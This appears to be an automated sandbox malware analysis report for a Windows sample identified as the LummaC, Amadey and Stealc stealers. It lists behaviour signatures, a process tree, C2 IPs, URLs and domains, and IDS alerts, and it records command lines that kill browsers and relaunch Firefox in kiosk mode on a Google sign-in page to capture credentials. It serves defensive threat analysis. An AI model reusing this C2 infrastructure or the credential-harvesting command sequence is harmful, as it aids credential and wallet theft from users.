Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1540852
MD5:	15b9109c23747163a74018275bb88207
SHA1:	cea893c4f10a63a3798af5c824742ad39e361a66
SHA256:	7dc80d87936e8912142cbb6e9b30161785c4a6bf06e81675a60e2e923e4d0fef
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2532 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 15B9109C23747163A74018275BB88207)

A94C1J5VAPFWM1J1FS.exe (PID: 3108 cmdline: "C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe" MD5: EF5F7A438E05696F2DC5D31889BAF216)

skotes.exe (PID: 1216 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: EF5F7A438E05696F2DC5D31889BAF216)

PJGT15Z82T6C2GQS.exe (PID: 2988 cmdline: "C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe" MD5: C4D992E32DABD4723370D920A842D759)

6BWDEAM9H4119O8P9KYSM4M710Q.exe (PID: 7220 cmdline: "C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe" MD5: 4BD307F7BA3EDB7861982A41D1488AA8)

skotes.exe (PID: 6980 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: EF5F7A438E05696F2DC5D31889BAF216)

skotes.exe (PID: 7580 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: EF5F7A438E05696F2DC5D31889BAF216)

ee8d47a049.exe (PID: 7836 cmdline: "C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe" MD5: 15B9109C23747163A74018275BB88207)

LIZ1X768O6R3WBN7EPZHLFTDS.exe (PID: 7492 cmdline: "C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe" MD5: EF5F7A438E05696F2DC5D31889BAF216)

ZR7XTEYLCJ0IZBOL3C6E.exe (PID: 1096 cmdline: "C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe" MD5: C4D992E32DABD4723370D920A842D759)

Z72A5QS1XOE2OWTBBJM669OT.exe (PID: 4540 cmdline: "C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe" MD5: 4BD307F7BA3EDB7861982A41D1488AA8)

36c3130eac.exe (PID: 8068 cmdline: "C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe" MD5: C4D992E32DABD4723370D920A842D759)

55662d7496.exe (PID: 6856 cmdline: "C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe" MD5: 7EA91224428255E089E5B84037C38978)

taskkill.exe (PID: 1596 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4784 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2740 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2324 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6780 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 432 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 7232 cmdline: "C:\Users\user\AppData\Local\Temp\1001141001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

ee8d47a049.exe (PID: 3540 cmdline: "C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe" MD5: 15B9109C23747163A74018275BB88207)

firefox.exe (PID: 6684 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2720 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3048 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2280 -parentBuildID 20230927232528 -prefsHandle 2224 -prefMapHandle 2220 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b2c4f454-c699-4a59-a93f-d65df88e5316} 2720 "\\.\pipe\gecko-crash-server-pipe.2720" 2681e171110 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2816 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3916 -parentBuildID 20230927232528 -prefsHandle 3940 -prefMapHandle 3936 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d8e53ce2-8518-4574-94e0-14e7cb60220b} 2720 "\\.\pipe\gecko-crash-server-pipe.2720" 2682e880210 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

36c3130eac.exe (PID: 7296 cmdline: "C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe" MD5: C4D992E32DABD4723370D920A842D759)

55662d7496.exe (PID: 5068 cmdline: "C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe" MD5: 7EA91224428255E089E5B84037C38978)

taskkill.exe (PID: 7004 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4180 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1596 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5464 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1776 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 3108 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 8104 cmdline: "C:\Users\user\AppData\Local\Temp\1001141001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: LummaC

{"C2 url": ["bathdoomgaz.store", "clearancek.site", "eaglepawnoy.store", "mobbipenju.store", "spirittunek.store", "licendfilteo.site", "studennotediw.store", "dissapoiznw.store"], "Build id": "LAp--Ap"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\1001141001\num.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\1001141001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2498410813.0000000000401000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2267291789.000000000069B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000002.3104993509.0000000000DD1000.00000080.00000001.01000000.00000019.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.2518168701.000000000109E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000003.2956398464.0000000004A10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000000.3076762189.0000000000DD1000.00000080.00000001.01000000.00000019.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000021.00000003.3105966323.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2267376515.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000028.00000002.3280676908.0000000000DD1000.00000080.00000001.01000000.00000019.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000003.2389693706.0000000005460000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000021.00000002.3241643306.00000000009BB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000002.2998225047.0000000000F11000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000002.2498848977.0000000000401000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000003.3090032690.00000000017EF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
0000000A.00000003.2716071552.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000028.00000000.3250481515.0000000000DD1000.00000080.00000001.01000000.00000019.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000025.00000003.3341116550.000000000126F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000021.00000002.3242620243.0000000000F11000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000003.3109974281.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000002.2516681456.00000000004A1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000002.3156645657.00000000008E1000.00000040.00000001.01000000.00000018.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.2458104071.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000002.3303275085.00000000001D1000.00000040.00000001.01000000.0000001A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.2456798547.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000002.3438111509.0000000000401000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000003.2428440432.0000000004E50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000002.3109724508.00000000010BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000022.00000003.3148683009.0000000004C80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000002.2997022588.000000000074C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000028.00000002.3284197061.0000000001107000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000002.2436072466.0000000000CC1000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000002.3305271933.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.2898013500.0000000001124000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2532	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 2532	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2532	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: PJGT15Z82T6C2GQS.exe PID: 2988	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: PJGT15Z82T6C2GQS.exe PID: 2988	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: ee8d47a049.exe PID: 7836	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ee8d47a049.exe PID: 7836	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ee8d47a049.exe PID: 7836	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 36c3130eac.exe PID: 8068	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 36c3130eac.exe PID: 8068	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 55662d7496.exe PID: 6856	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 40 entries

Unpacked PEs

Source	Rule	Description	Author
32.2.num.exe.dd0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
40.0.num.exe.dd0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
6.2.skotes.exe.400000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.skotes.exe.400000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
40.2.num.exe.dd0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
13.2.36c3130eac.exe.f10000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
32.0.num.exe.dd0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
33.2.36c3130eac.exe.f10000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
10.2.skotes.exe.400000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.A94C1J5VAPFWM1J1FS.exe.cc0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
4.2.PJGT15Z82T6C2GQS.exe.4a0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
31.2.LIZ1X768O6R3WBN7EPZHLFTDS.exe.8e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
34.2.ZR7XTEYLCJ0IZBOL3C6E.exe.1d0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 8 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7580, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ee8d47a049.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7580, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ee8d47a049.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T09:07:12.612579+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49713	104.21.53.8	443	TCP
2024-10-24T09:07:13.865068+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49714	104.21.53.8	443	TCP
2024-10-24T09:07:23.987903+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49766	104.21.53.8	443	TCP
2024-10-24T09:08:20.119029+0200	2054653	1	A Network Trojan was detected	192.168.2.6	50000	104.21.53.8	443	TCP
2024-10-24T09:08:21.442545+0200	2054653	1	A Network Trojan was detected	192.168.2.6	50002	104.21.53.8	443	TCP
2024-10-24T09:08:32.269395+0200	2054653	1	A Network Trojan was detected	192.168.2.6	50012	104.21.53.8	443	TCP
2024-10-24T09:09:08.316621+0200	2054653	1	A Network Trojan was detected	192.168.2.6	50080	104.21.53.8	443	TCP
2024-10-24T09:09:09.364270+0200	2054653	1	A Network Trojan was detected	192.168.2.6	50081	104.21.53.8	443	TCP
2024-10-24T09:09:17.828113+0200	2054653	1	A Network Trojan was detected	192.168.2.6	50092	104.21.53.8	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T09:07:12.612579+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49713	104.21.53.8	443	TCP
2024-10-24T09:08:20.119029+0200	2049836	1	A Network Trojan was detected	192.168.2.6	50000	104.21.53.8	443	TCP
2024-10-24T09:09:08.316621+0200	2049836	1	A Network Trojan was detected	192.168.2.6	50080	104.21.53.8	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T09:07:13.865068+0200	2049812	1	A Network Trojan was detected	192.168.2.6	49714	104.21.53.8	443	TCP
2024-10-24T09:08:21.442545+0200	2049812	1	A Network Trojan was detected	192.168.2.6	50002	104.21.53.8	443	TCP
2024-10-24T09:09:09.364270+0200	2049812	1	A Network Trojan was detected	192.168.2.6	50081	104.21.53.8	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T09:07:31.546011+0200	2019714	2	Potentially Bad Traffic	192.168.2.6	49772	185.215.113.16	80	TCP
2024-10-24T09:08:37.832834+0200	2019714	2	Potentially Bad Traffic	192.168.2.6	50016	185.215.113.16	80	TCP
2024-10-24T09:08:43.800972+0200	2019714	2	Potentially Bad Traffic	192.168.2.6	50013	185.215.113.16	80	TCP
2024-10-24T09:09:21.683520+0200	2019714	2	Potentially Bad Traffic	192.168.2.6	50093	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T09:08:19.529990+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49999	185.215.113.43	80	TCP
2024-10-24T09:08:29.230870+0200	2044696	1	A Network Trojan was detected	192.168.2.6	50008	185.215.113.43	80	TCP
2024-10-24T09:08:36.905833+0200	2044696	1	A Network Trojan was detected	192.168.2.6	50015	185.215.113.43	80	TCP
2024-10-24T09:08:42.328377+0200	2044696	1	A Network Trojan was detected	192.168.2.6	50024	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T09:07:10.108240+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.6	57999	1.1.1.1	53	UDP
2024-10-24T09:08:17.720989+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.6	61422	1.1.1.1	53	UDP
2024-10-24T09:08:33.615892+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.6	52875	1.1.1.1	53	UDP
2024-10-24T09:09:05.944428+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.6	53241	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T09:07:09.965749+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.6	63537	1.1.1.1	53	UDP
2024-10-24T09:08:17.658280+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.6	51930	1.1.1.1	53	UDP
2024-10-24T09:08:33.444188+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.6	59233	1.1.1.1	53	UDP
2024-10-24T09:09:05.854734+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.6	61711	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)

